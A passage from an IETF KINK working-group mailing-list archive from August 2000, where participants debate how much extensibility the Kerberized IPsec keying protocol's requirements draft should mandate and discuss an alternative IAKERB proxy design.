ZXBpbmcgb3JkZXIKICAgaW4gb3VyIG5vcm1hbGx5IGRpc29yZGVybHkgcHJvY2VlZGluZ3Mu CgpSZWZlcmVuY2VzCgpbMV0gIFRoZSBDQVQgV29ya2luZyBHcm91cCwgSi4gS29obCwgQy5O ZXVtYW4sICJUaGUgS2VyYmVyb3MgTmV0d29yawogICAgIEF1dGhlbnRpY2F0aW9uIFNlcnZp Y2UgKFY1KSIsIFJGQyAxNTEwLCBTZXB0ZW1iZXIgMTk5MwoKWzJdICBUaGUgSVBzZWMgV29y a2luZyBHcm91cCwgUy4gS2VudCwgUi4gQXRraW5zb24sICJTZWN1cml0eSBBcmNoaXRlYy0K ICAgICB0dXJlIGZvciB0aGUgSW50ZXJuZXQgUHJvdG9jb2wiLCBSRkMgMjQwMSwgTm92ZW1i ZXIgMTk5OAoKWzNdICBUaGUgSVBzZWMgV29ya2luZyBHcm91cCwgRC4gSGFya2lucywgRC4g Q2FycmVsLCAiVGhlIEludGVybmV0IEtleQogICAgIEV4Y2hhbmdlIiwgUkZDIDI0MDksIE5v dmVtYmVyIDE5OTgKCkF1dGhvcidzIEFkZHJlc3MKCiAgICAgICAgICBNaWNoYWVsIFRob21h cwogICAgICAgICAgQ2lzY28gU3lzdGVtcwogICAgICAgICAgMzc1IEUgVGFzbWFuIFJkCiAg ICAgICAgICBTYW4gSm9zZSwgQ2EsIDk1MTM0LCBVU0EKICAgICAgICAgIFRlbDogKzEgNDA4 LTUyNS01Mzg2CiAgICAgICAgICBFLU1BSUw6IG1hdEBjaXNjby5jb20KCgoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKClRob21hcyAgICAgICAgICAgICAgICAgZHJhZnQtdGhvbWFzLWtpbmst cmVxbXQtMDAgICAgICAgICAgICAgICBbUGFnZSA2XQoKCg== --hUL/GSCR9M-- From owner-ietf-kink Wed Aug 9 12:59:24 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id MAA08775 for ietf-kink-bks; Wed, 9 Aug 2000 12:59:24 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA08771 for ; Wed, 9 Aug 2000 12:59:23 -0700 (PDT) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated) by ginger.cmf.nrl.navy.mil (8.10.1/8.10.1) with ESMTP id e79JwMn04550; Wed, 9 Aug 2000 15:58:22 -0400 (EDT) Message-Id: <200008091958.e79JwMn04550@ginger.cmf.nrl.navy.mil> To: Michael Thomas cc: ietf-kink@vpnc.org, mshore@cisco.com Subject: Re: KINK requirements draft In-reply-to: Your message of "Wed, 09 Aug 2000 11:21:41 PDT." <14737.41269.489166.117071@thomasm-u1.cisco.com> X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Wed, 09 Aug 2000 15:58:21 -0400 From: Ken Hornstein Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >- The protocol must be able to be used for more than IPsec keying I seem to remember that the suggestion from the BOF was that this should be changed from a MUST to a MAY; does anyone else recall that? --Ken From owner-ietf-kink Wed Aug 9 13:19:09 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA09133 for ietf-kink-bks; Wed, 9 Aug 2000 13:19:09 -0700 (PDT) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.MIT.EDU [18.101.1.2]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA09129 for ; Wed, 9 Aug 2000 13:19:08 -0700 (PDT) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id QAA16668; Wed, 9 Aug 2000 16:18:00 -0400 To: Ken Hornstein Cc: Michael Thomas , ietf-kink@vpnc.org, mshore@cisco.com Subject: Re: KINK requirements draft References: <200008091958.e79JwMn04550@ginger.cmf.nrl.navy.mil> From: Derek Atkins Date: 09 Aug 2000 16:18:00 -0400 In-Reply-To: Ken Hornstein's message of "Wed, 09 Aug 2000 15:58:21 -0400" Message-ID: Lines: 19 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Indeed, this seemed to be the consensus of the group for rev1 of the protocol. -derek Ken Hornstein writes: > >- The protocol must be able to be used for more than IPsec keying > > I seem to remember that the suggestion from the BOF was that this should > be changed from a MUST to a MAY; does anyone else recall that? > > --Ken -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Aug 9 13:27:57 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA09313 for ietf-kink-bks; Wed, 9 Aug 2000 13:27:57 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA09308 for ; Wed, 9 Aug 2000 13:27:56 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id NAA29370; Wed, 9 Aug 2000 13:26:45 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA19954; Wed, 9 Aug 2000 13:26:28 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14737.48756.558494.786127@thomasm-u1.cisco.com> Date: Wed, 9 Aug 2000 13:26:28 -0700 (PDT) To: Derek Atkins Cc: Ken Hornstein , Michael Thomas , ietf-kink@vpnc.org, mshore@cisco.com Subject: Re: KINK requirements draft In-Reply-To: References: <200008091958.e79JwMn04550@ginger.cmf.nrl.navy.mil> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > Indeed, this seemed to be the consensus of the group for rev1 of > the protocol. That's my recollection as well -- I didn't change any of the requirements based on the BOF itself. Were there any others? On this particular item, I think that there should be a must here, which is to say that there needs to be some extension mechanism, but phrased in such a way that it doesn't imply that we're biting off more than IPsec. How about: "the protocol must be able to be extended in the future." Mike From owner-ietf-kink Wed Aug 9 13:46:12 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA09580 for ietf-kink-bks; Wed, 9 Aug 2000 13:46:12 -0700 (PDT) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA09576 for ; Wed, 9 Aug 2000 13:46:10 -0700 (PDT) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #38811) with ESMTP id <01JSRO3SMZKKDY0EA2@GI.COM> for ietf-kink@vpnc.org; Wed, 9 Aug 2000 13:44:44 PDT Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 09 Aug 2000 13:45:37 -0400 Content-return: allowed Date: Wed, 09 Aug 2000 16:46:27 -0400 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: KINK requirements draft To: "'Michael Thomas'" , Derek Atkins Cc: Ken Hornstein , ietf-kink@vpnc.org, mshore@cisco.com Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4616@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I agree with Mike. If we don't provide for the extension mechanism, it would be very difficult in the future to use this protocol for anything other than IPSec. Adding an extension mechanism does not appear to be a huge task. Sasha. > -----Original Message----- > From: Michael Thomas [SMTP:mat@cisco.com] > Sent: Wednesday, August 09, 2000 1:26 PM > To: Derek Atkins > Cc: Ken Hornstein; Michael Thomas; ietf-kink@vpnc.org; mshore@cisco.com > Subject: Re: KINK requirements draft > > Derek Atkins writes: > > Indeed, this seemed to be the consensus of the group for rev1 of > > the protocol. > > That's my recollection as well -- I didn't change any > of the requirements based on the BOF itself. Were there > any others? > > On this particular item, I think that there should be > a must here, which is to say that there needs to be > some extension mechanism, but phrased in such a way > that it doesn't imply that we're biting off more than > IPsec. How about: > > "the protocol must be able to be extended in > the future." > > Mike From owner-ietf-kink Wed Aug 9 13:49:45 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA09638 for ietf-kink-bks; Wed, 9 Aug 2000 13:49:45 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA09634 for ; Wed, 9 Aug 2000 13:49:44 -0700 (PDT) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated) by ginger.cmf.nrl.navy.mil (8.10.1/8.10.1) with ESMTP id e79Kmxn05168 for ; Wed, 9 Aug 2000 16:48:59 -0400 (EDT) Message-Id: <200008092048.e79Kmxn05168@ginger.cmf.nrl.navy.mil> To: ietf-kink@vpnc.org Subject: Re: KINK requirements draft In-reply-to: Your message of "Wed, 09 Aug 2000 13:26:28 PDT." <14737.48756.558494.786127@thomasm-u1.cisco.com> X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Wed, 09 Aug 2000 16:48:58 -0400 From: Ken Hornstein Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >Derek Atkins writes: > > Indeed, this seemed to be the consensus of the group for rev1 of > > the protocol. > > That's my recollection as well -- I didn't change any > of the requirements based on the BOF itself. Were there > any others? > > On this particular item, I think that there should be > a must here, which is to say that there needs to be > some extension mechanism, but phrased in such a way > that it doesn't imply that we're biting off more than > IPsec. How about: > > "the protocol must be able to be extended in > the future." I just remember Jeff Schiller standing up and saying, "Options are bad for security protocols". I think that the consensus of the room was with him, and I think a MUST is a little strong for this; SHOULD might be the right thing. "SHOULD be able to extend in the future" is fine, IMHO, but I don't feel very strongly about this. --Ken From owner-ietf-kink Wed Aug 9 13:58:04 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA09775 for ietf-kink-bks; Wed, 9 Aug 2000 13:58:04 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA09771 for ; Wed, 9 Aug 2000 13:58:03 -0700 (PDT) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA22480; Wed, 9 Aug 2000 14:57:04 -0600 (MDT) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id QAA11313; Wed, 9 Aug 2000 16:55:05 -0400 (EDT) Received: from thunk.east.sun.com (localhost [127.0.0.1]) by thunk.east.sun.com (8.10.2+Sun/8.10.2) with ESMTP id e79Ksfk101092; Wed, 9 Aug 2000 16:54:41 -0400 (EDT) Message-Id: <200008092054.e79Ksfk101092@thunk.east.sun.com> From: Bill Sommerfeld To: "Medvinsky, Sasha (SD-EX)" cc: "'Michael Thomas'" , Derek Atkins , Ken Hornstein , ietf-kink@vpnc.org, mshore@cisco.com Subject: Re: KINK requirements draft In-reply-to: Your message of "Wed, 09 Aug 2000 16:46:27 EDT." <97DEDE66B3DCD11199D200805FA71BE202FD4616@ntas0027.gi.com> Reply-to: sommerfeld@east.sun.com Date: Wed, 09 Aug 2000 16:54:40 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: historically, working groups with open-ended scopes tend to have a lot harder time producing something of value. i'd rather leave references to key mgmt for non-ipsec protocols out of the charter entirely, but if we have to leave it in, make it a MAY, not a MUST. - Bill From owner-ietf-kink Wed Aug 9 14:50:29 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id OAA10727 for ietf-kink-bks; Wed, 9 Aug 2000 14:50:29 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA10723 for ; Wed, 9 Aug 2000 14:50:28 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id OAA11337; Wed, 9 Aug 2000 14:49:34 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA19958; Wed, 9 Aug 2000 14:49:15 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14737.53723.419591.152677@thomasm-u1.cisco.com> Date: Wed, 9 Aug 2000 14:49:15 -0700 (PDT) To: Ken Hornstein Cc: ietf-kink@vpnc.org Subject: Re: KINK requirements draft In-Reply-To: <200008092048.e79Kmxn05168@ginger.cmf.nrl.navy.mil> References: <14737.48756.558494.786127@thomasm-u1.cisco.com> <200008092048.e79Kmxn05168@ginger.cmf.nrl.navy.mil> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Ken Hornstein writes: > I just remember Jeff Schiller standing up and saying, "Options are bad > for security protocols". I think that the consensus of the room was > with him, and I think a MUST is a little strong for this; SHOULD might > be the right thing. "SHOULD be able to extend in the future" is fine, > IMHO, but I don't feel very strongly about this. >From the protocol standpoint, I'd be happy with a top level protocol/DOI variable in the message header and just leave it at that. We've done some thrashing around on the previous list about trying to come up with generic payloads that any old protocol would need to use, etc, etc, and it's my personal opinion that it would be better to not lose too much sleep on that front and instead focus on getting our current task done. I'm firmly a middle out kind of designer in the first place so the hedge-focus-generalize is much more natural to me anyway... Mike From owner-ietf-kink Wed Aug 9 15:06:35 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA11140 for ietf-kink-bks; Wed, 9 Aug 2000 15:06:35 -0700 (PDT) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA11134 for ; Wed, 9 Aug 2000 15:06:33 -0700 (PDT) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id SAA07725; Wed, 9 Aug 2000 18:05:37 -0400 (EDT) Message-Id: <200008092205.SAA07725@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Medvinsky, Sasha (SD-EX)" cc: "'Michael Thomas'" , Derek Atkins , Ken Hornstein , ietf-kink@vpnc.org, mshore@cisco.com Subject: Re: KINK requirements draft In-reply-to: Your message of "Wed, 09 Aug 2000 16:46:27 EDT." <97DEDE66B3DCD11199D200805FA71BE202FD4616@ntas0027.gi.com> Date: Wed, 09 Aug 2000 18:05:37 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I suggest we not use MUST or SHOULD (or even the word "requirements") when writing "requirements". Or at least, we should use them sparingly, reserving them only for absolute requirements as opposed to design goals or merely desirable features. the MUST/SHOULD/MAY terminology was coined for use in protocol specifications which need to define conformance in a fairly concrete way. at the stage where a group is just trying to define the problem and its scope, such terms don't seem appropriate. in particular, we want to avoid insisting on features being in the protocol (resulting in protocol bloat) just because we wrote a MUST or SHOULD in a document when we didn't really understand what we were saying anyway. Keith From owner-ietf-kink Wed Aug 9 15:34:13 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id PAA11919 for ietf-kink-bks; Wed, 9 Aug 2000 15:34:13 -0700 (PDT) Received: from ganymede.or.intel.com (ganymede.or.intel.com [134.134.248.3]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA11915 for ; Wed, 9 Aug 2000 15:34:12 -0700 (PDT) Received: from SMTP (orsmsxvs01-1.jf.intel.com [192.168.65.200]) by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.30 2000/06/08 18:25:35 dmccart Exp $) with SMTP id PAA00499; Wed, 9 Aug 2000 15:33:28 -0700 (PDT) Received: from orsmsx28.jf.intel.com ([192.168.70.28]) by 192.168.70.200 (Norton AntiVirus for Internet Email Gateways 1.0) ; Wed, 09 Aug 2000 22:33:27 0000 (GMT) Received: by orsmsx28.jf.intel.com with Internet Mail Service (5.5.2650.21) id ; Wed, 9 Aug 2000 15:33:25 -0700 Message-ID: <392A357CE6FFD111AC3E00A0C99848B002FE98FC@hdsmsx31.hd.intel.com> From: "Walker, Jesse" To: ietf-krb-wg@anl.gov Cc: ietf-kink@vpnc.org Subject: draft-ietf-iakerb-xx.txt discussion Date: Wed, 9 Aug 2000 15:33:22 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: This mail has been copied the KINK mailing list, as the discussion seems germane to their endeavor. The standard way people seem to be thinking about deploying Kerberos in conjunction with 802.1X style networks and remote access IPsec is covered by draft-ietf-iakerb-xx.txt. In this model the connecting client assumes the role of the Kerberos client, and the "attachment point" (be it a VPN Gateway, 802.1 switch, whatever) or server occupies a dual role, first of a proxy as described in the draft, and then as the Kerberos server. The server proxies client ticket requests to the KDC, and then proxies any response back to the client. The client uses the proxied ticket to authenticate with the server sitting between it and the KDC. I am wondering whether there is an opportunity to do something else, something that on first blush appears a modest improvement, at least to me. The existing proxy model appears to have several features that render it somewhat less desirable than we might otherwise wish it to be. First, to be used in many of the environments people will want to use the protocol (e.g., remote access IPsec, authentication to a wired infrastructure over wireless LANs, etc.), the client will be "outside" the firewall and therefore completely untrusted. While assuming an untrusted client is standard, and while Kerberos was designed for this kind of environment, experience shows that many organizations have had trouble properly deploying Kerberos (their KDCs get hacked), and even more bitter experience shows they are therefore unwilling to expose their KDCs to messages from clients situated beyond their firewalls, because "the ones inside can be trusted and the ones outside the firewall can't be" (yeah, right). You can call this a deployment error (it is) and ignorance (it's that, too), but it is also market reality, because most people managing networks are not trained security professionals and never will be. It is certainly feasible that the proxy can protect the KDC (e.g., rate limiting messages, filter buffer overrun attacks, and the like), but I expect many organizations will still be loath to use such a system based on their experiences; implementors, after all, have a dubious track record at best of getting the security properties of proxies right the first or second or even third time around. Another problem is the client needs to know too much. It needs to know the identity of the server to format its ticket request, and this spells configuration, or at least the wrong kind. Configuration on clients is almost always a deployment barrier, and always a scaling issue. The draft attempts to address the problem by allowing the proxy (aka server) to fill in the realm name, but from my (perhaps warped) way of thinking, this is not quite right. It seems more likely to me that people will want to configure their remote access clients with the realm name, and connect to any attachment point that offers realm services, without regard to the identities of the servers providing that service. And the push toward greater mobility seems to indicate that clients are likely to belong to several realms, meaning they will possess credentials from multiple realms (with differing principal names), meaning they won't be able to identify themselves properly until they know what realm they are trying to enter. The realm is something that has to be configured on the client, because it will serve as the locator for the client's own proper principal name. Configuration is bad, but some kinds of configuration can't be avoided. A third problem is the proxy doesn't seem to be able to know the messages from the KDC it proxies back to the client are indeed live, because it doesn't contribute to the nonce, and it can't inspect the nonce in the KDC's response to the client. This seems to make the protocol susceptible to collusion between an insider and an outsider. A final potential problem to any network engineer is "unnecessary" messages. The proxy (i.e., server) has all it needs to initiate Kerberos-based mutual authentication with the client, but instead it is still in proxy mode, "squandering" the opportunity to optimize at least one message away. All of this makes me wonder whether it might be advantageous to alter the responsibilities of both the proxy and the client somewhat, effectively interchanging their roles. The client wanting to mutually authenticate would forward its identity to the proxy. The proxy would request from the KDC a ticket from its own host to the requesting client. Once it received the ticket, the proxy could use the ticket to initiate the authentication protocol with the client. This design seems to address all of the questions I raised above. It addresses the first issues, because the proxy/servers themselves (presumed to be under the organization's control) generate ticket requests, not the "untrusted" clients. It addresses the second problem in that client's don't have to care about the name of the attachment point, since the returned ticket and authenticator supply this. It addresses the third problem, because the proxy/server supplies the nonce (but that exposes the client to replay; see the discussion below). And it addresses the last issue, as it removes at least one message from the entire exchange. As noted above, the biggest problem I can see with this type of approach (aside from the disadvantage it is not what people are doing) seems to be the real remote access client needs to protect itself from replay attack by a rogue proxy/server; this is what its nonce in the ticket request does, after all. One way to address this might be to require the client to supply a nonce with its identity, and for the proxy/server to concatentate its own nonce at the end of the client's to insert into its ticket request. We would need some sort of convention to transfer the nonce back into, e.g., the server's authenticator to the client. I haven't worked out the details, only speculated that this might be a fruitful approach. I don't know if the above analysis of the current draft holds water, or whether the germ of an idea presented here actually represents an improvement on the draft, or is good idea, or even works. What do other people think? Jesse Walker Intel Corporation JF3-448 2111 N.E. 25th Avenue Hillsboro, OR 97124 (503) 712-1849 From owner-ietf-kink Thu Aug 10 13:42:27 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA13650 for ietf-kink-bks; Thu, 10 Aug 2000 13:42:27 -0700 (PDT) Received: from snark.piermont.com (snark.piermont.com [206.1.51.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA13646 for ; Thu, 10 Aug 2000 13:42:25 -0700 (PDT) Received: by snark.piermont.com (Postfix, from userid 1000) id 291031E0054; Thu, 10 Aug 2000 16:41:41 -0400 (EDT) To: "Medvinsky, Sasha (SD-EX)" Cc: "'Michael Thomas'" , Derek Atkins , Ken Hornstein , ietf-kink@vpnc.org, mshore@cisco.com Subject: Re: KINK requirements draft References: <97DEDE66B3DCD11199D200805FA71BE202FD4616@ntas0027.gi.com> From: "Perry E. Metzger" Date: 10 Aug 2000 16:41:41 -0400 In-Reply-To: "Medvinsky, Sasha's message of "Wed, 09 Aug 2000 16:46:27 -0400" Message-ID: <87em3w3l2y.fsf@snark.piermont.com> Lines: 13 X-Mailer: Gnus v5.7/Emacs 20.6 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: "Medvinsky, Sasha (SD-EX)" writes: > I agree with Mike. If we don't provide for the extension mechanism, it > would be very difficult in the future to use this protocol for anything > other than IPSec. I think explicit group consensus was "it is fine if it can't be used for anything else." We bit off more than we could chew trying to make ISAKMP/IKE totally extensible and flexible. .pm From owner-ietf-kink Thu Aug 10 14:04:18 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id OAA14518 for ietf-kink-bks; Thu, 10 Aug 2000 14:04:18 -0700 (PDT) Received: from zipper.cisco.com (zipper.cisco.com [171.69.25.142]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA14511 for ; Thu, 10 Aug 2000 14:04:17 -0700 (PDT) Received: from localhost (ssh.cisco.com [171.69.10.34]) by zipper.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id OAA08797; Thu, 10 Aug 2000 14:02:22 -0700 (PDT) Date: Thu, 10 Aug 2000 14:02:18 -0700 (PDT) From: Jan Vilhuber To: "Perry E. Metzger" cc: "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , Derek Atkins , Ken Hornstein , ietf-kink@vpnc.org, mshore@cisco.com Subject: Re: KINK requirements draft In-Reply-To: <87em3w3l2y.fsf@snark.piermont.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I don't think adding a DOI field somewhere is espeically onerous, nor complex. A few bytes in the interest of extensibility makes a lot of common sense to me, and doesn't burden the group with having to actually define other mechanisms, but allows for other people to USE other mechanisms. I've had secure multicast already asking me about this, so I KNOW there's interest for them to use it. It seems a bit short-sighted (and an overreaction) to slam the door on ANY kind of extensibility... I believe a DOI field makes sense, as does a private range (and vencod-id as in IKE), which allows people to experiment with new stuff. Neither of those place a huge burden on actually defining all lthey will ever be used for. If you make it too static and unchangeable, we'll just be here in a nother 6 months to try to come up with essentially the same thing for secure multicast. jan On 10 Aug 2000, Perry E. Metzger wrote: > > "Medvinsky, Sasha (SD-EX)" writes: > > I agree with Mike. If we don't provide for the extension mechanism, it > > would be very difficult in the future to use this protocol for anything > > other than IPSec. > > I think explicit group consensus was "it is fine if it can't be used > for anything else." > > We bit off more than we could chew trying to make ISAKMP/IKE totally > extensible and flexible. > > .pm > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Thu Aug 10 14:36:48 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id OAA15740 for ietf-kink-bks; Thu, 10 Aug 2000 14:36:48 -0700 (PDT) Received: from zipper.cisco.com (zipper.cisco.com [171.69.25.142]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA15735 for ; Thu, 10 Aug 2000 14:36:46 -0700 (PDT) Received: from localhost (ssh.cisco.com [171.69.10.34]) by zipper.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id OAA11118; Thu, 10 Aug 2000 14:35:36 -0700 (PDT) Date: Thu, 10 Aug 2000 14:35:36 -0700 (PDT) From: Jan Vilhuber To: "Perry E. Metzger" cc: ietf-kink@vpnc.org Subject: Re: KINK requirements draft In-Reply-To: <87lmy4zuh3.fsf@snark.piermont.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On 10 Aug 2000, Perry E. Metzger wrote: > > Jan Vilhuber writes: > > I don't think adding a DOI field somewhere is espeically onerous, nor > > complex. > > Adding an integer is fine. Modifying the design to be all-singing, > all-dancing is the issue. I think that, philosophically, we should be > biased towards simplicity. If we can do something trivial to make it > possible to use elsewhere, fine. If we spend time and effort on it, it > is a bad idea. > Agreed. I just don't want to see us go too far in the opposite direction and make a completely defined, no degrees of freedom, custom purpose protocol. I'm not proposing we spend a huge amount of time on it, but can we call for a consensus on putting in the DOI and possibly vendor-id with private ranges? I believe that's all that's needed for people to experiment (which we want to encourage) and for other protocols other than ipsec to leverage what we do here? jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Thu Aug 10 15:04:56 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA16704 for ietf-kink-bks; Thu, 10 Aug 2000 15:04:56 -0700 (PDT) Received: from zipper.cisco.com (zipper.cisco.com [171.69.25.142]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA16700 for ; Thu, 10 Aug 2000 15:04:54 -0700 (PDT) Received: from localhost (ssh.cisco.com [171.69.10.34]) by zipper.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id PAA12598; Thu, 10 Aug 2000 15:03:43 -0700 (PDT) Date: Thu, 10 Aug 2000 15:03:43 -0700 (PDT) From: Jan Vilhuber To: "Perry E. Metzger" cc: ietf-kink@vpnc.org Subject: Re: KINK requirements draft In-Reply-To: <87snscx0bf.fsf@snark.piermont.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On 10 Aug 2000, Perry E. Metzger wrote: > > Jan Vilhuber writes: > > Agreed. I just don't want to see us go too far in the opposite direction and > > make a completely defined, no degrees of freedom, custom purpose protocol. > > > > I'm not proposing we spend a huge amount of time on it, but can we call for a > > consensus on putting in the DOI and possibly vendor-id with private > > ranges? > > I think we shold wait on that until we've seen the protocol and know > where they'd go. It is premature -- the draft isn't out yet. > Good point. Thanks for the reminder. I'm supposed to throw out what we have so far ;) jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Wed Aug 16 04:18:00 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id EAA12214 for ietf-kink-bks; Wed, 16 Aug 2000 04:18:00 -0700 (PDT) Received: from dcl.mit.edu (DCL.MIT.EDU [18.18.1.70]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id EAA12207 for ; Wed, 16 Aug 2000 04:17:59 -0700 